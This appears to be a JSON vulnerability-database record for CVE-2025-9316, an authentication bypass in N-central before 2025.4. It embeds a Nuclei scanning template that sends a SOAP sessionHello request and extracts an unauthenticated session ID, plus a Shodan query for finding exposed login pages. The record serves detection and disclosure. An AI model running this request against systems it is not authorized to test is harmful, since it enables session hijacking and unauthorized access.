{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-9316/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-9316/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-9316/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-9316/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-9316/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-9316"},"sightings":{"href":"/api/v1/sightings/cve-2025-9316"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.36287,"kev":false,"percentile":0.98414},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-9316.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-9316\n\ninfo:\n  name: N-central - Authentication Bypass\n  author: DhiyaneshDK,horizon3ai\n  severity: medium\n  description: |\n    N-central < 2025.4 can generate sessionIDs for unauthenticated users This issue affects N-central: before 2025.4.\n  impact: |\n    Attackers can hijack sessions without authentication, potentially leading to unauthorized access.\n  remediation: |\n    Update to version 2025.4 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-9316\n    - https://github.com/horizon3ai/n-able_n-central_xxe_file_read/blob/main/ncentral_xxe_file_read.py\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.title:\"N-central Login\"\n  tags: cve,cve2025,n-central,session-leak,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /dms/services/ServerUI HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml\n        Soapaction: \"\"\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\n          <soapenv:Body>\n            <sessionHello>\n              <applianceID>3</applianceID>\n            </sessionHello>\n          </soapenv:Body>\n        </soapenv:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"SessionID\"\n          - \"sessionHelloResponse\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '<SessionID[^>]*>(\\d+)</SessionID>'\n          - '<sessionId>(\\d+)</sessionId>'\n          - '<sessionID>(\\d+)</sessionID>'\n# digest: 4b0a004830460221009b2267e6be4ae28edcd7c641c2f18318f171a848eb4f68744c7ac4c2e9615b470221009b493a7bc2cfe87ff3ae3c15feaf4a4e90f18e9d934d1ca433da910f206c456a:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-9316"}